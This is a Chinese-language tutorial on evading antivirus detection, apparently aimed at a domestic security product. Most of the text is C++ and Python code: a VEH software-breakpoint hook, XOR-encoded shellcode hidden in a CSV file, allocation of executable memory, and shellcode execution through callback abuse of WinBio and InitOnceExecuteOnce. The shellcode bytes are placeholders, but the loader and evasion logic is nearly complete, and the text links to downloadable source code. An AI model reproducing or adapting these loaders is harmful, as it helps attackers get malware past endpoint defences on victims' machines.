免杀绕某数字杀软
字数 947 2025-08-06 18:07:59
免杀绕过某数字杀软技术详解
技术概述
本文详细介绍了基于VEH异常(软件断点)Hook、CSV文件隐藏Shellcode以及多种Shellcode加载技术的免杀方法,可有效绕过某数字杀软检测。
1. VEH异常Hook技术
基本原理
利用Windows的Vectored Exception Handling (VEH)机制,通过设置软件断点(0xCC)触发异常,在异常处理程序中执行自定义代码。
实现步骤
- 获取API地址:
DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA");
ULONG_PTR paddr = (ULONG_PTR)addr;
- 修改内存保护属性:
DWORD old = 0;
VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old);
- 设置软件断点:
*(UCHAR*)addr = 0xCC; // 将API第一个字节改为0xCC(INT 3)
- 注册异常处理程序:
LONG Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
if ((ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress == paddr) {
// 在此处执行自定义代码
std::cout << 1;
exit(1);
}
}
}
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
- 触发异常:
MessageBoxA(0, "abc", 0, 0); // 调用被Hook的API触发异常
2. Shellcode隐藏与读取技术
Python加密Shellcode并写入CSV
import csv
buf = b"......" # 原始shellcode
sc = []
for i in buf:
sc.append((i^1024)+1000) # 异或加密并加1000
with open("shc.csv","w",newline="",encoding="utf-8") as f:
write = csv.writer(f)
write.writerow(sc)
C++读取并解密CSV文件
ifstream inFile("shc.csv", ios::in);
string linstr;
vector<vector<string>> strArray;
while (getline(inFile, linstr)) {
stringstream ss(linstr);
string str;
vector<string> linearray;
while (getline(ss, str, ',')) {
linearray.push_back(str);
}
strArray.push_back(linearray);
}
char buuf[2000]; // 存储解密后的shellcode
int i = 0;
for (auto s : strArray) {
for (auto x : s) {
char* strb = &x[0];
char strchar = (char)((atoi(strb) - 1000) ^ 1024); // 解密
buuf[i] = strchar;
i += 1;
}
}
3. 内存申请与Shellcode加载技术
使用IMalloc接口申请内存
DWORD old;
IMalloc* PIMalloc = NULL;
CoGetMalloc(MEMCTX_TASK, &PIMalloc);
void* buu = PIMalloc->Alloc(sizeof(buuf)); // 分配内存
RtlCopyMemory(buu, buuf, sizeof(buuf)); // 复制shellcode
ZeroMemory(buuf, sizeof(buuf)); // 清空原始缓冲区
VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old); // 修改内存保护属性
使用WinBio API加载Shellcode
WINBIO_SESSION_HANDLE session_handle;
WinBioOpenSession(WINBIO_TYPE_FINGERPRINT, WINBIO_POOL_SYSTEM, WINBIO_FLAG_DEFAULT,
NULL, 0, WINBIO_DB_DEFAULT, &session_handle);
WinBioIdentifyWithCallback(session_handle, (PWINBIO_IDENTIFY_CALLBACK)buu, NULL);
WinBioCancel(session_handle);
WinBioWait(session_handle);
WinBioCloseSession(session_handle);
4. 其他Shellcode加载方法
方法1:直接使用VEH加载Shellcode
unsigned char buf[] = "......"; // shellcode
DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA");
DWORD old = 0;
VirtualProtect(&buf, 1, PAGE_EXECUTE_READWRITE, &old);
VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old);
*(UCHAR*)addr = 0xCC;
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)&buf);
MessageBoxA(0, "abc", "abc", 0);
方法2:使用InitOnceExecuteOnce API
unsigned char buf[] = "....."; // shellcode
DWORD old;
IMalloc* PIMalloc = NULL;
CoGetMalloc(MEMCTX_TASK, &PIMalloc);
void* buu = PIMalloc->Alloc(sizeof(buf));
RtlCopyMemory(buu, buf, sizeof(buf));
VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old);
INIT_ONCE initonce;
LPVOID Context = NULL;
InitOnceExecuteOnce(&initonce, (PINIT_ONCE_FN)buu, 0, &Context);
注意事项
- 使用时shc.csv文件需和exe文件在同一目录
- 代码中涉及的内存操作需要谨慎处理,避免崩溃
- 不同环境可能需要调整API调用方式
- 该方法可能随着杀软更新而失效,需要持续改进
参考资源
- IMalloc接口文档: https://learn.microsoft.com/zh-cn/windows/win32/api/objidlbase/nn-objidlbase-imalloc
- WinBioIdentifyWithCallback文档: https://learn.microsoft.com/zh-cn/windows/win32/api/winbio/nf-winbio-winbioidentifywithcallback
- InitOnceExecuteOnce文档: https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-initonceexecuteonce
源代码下载
阿里云盘链接: https://www.aliyundrive.com/s/Tf3chWByXKp
提取码: 6h2f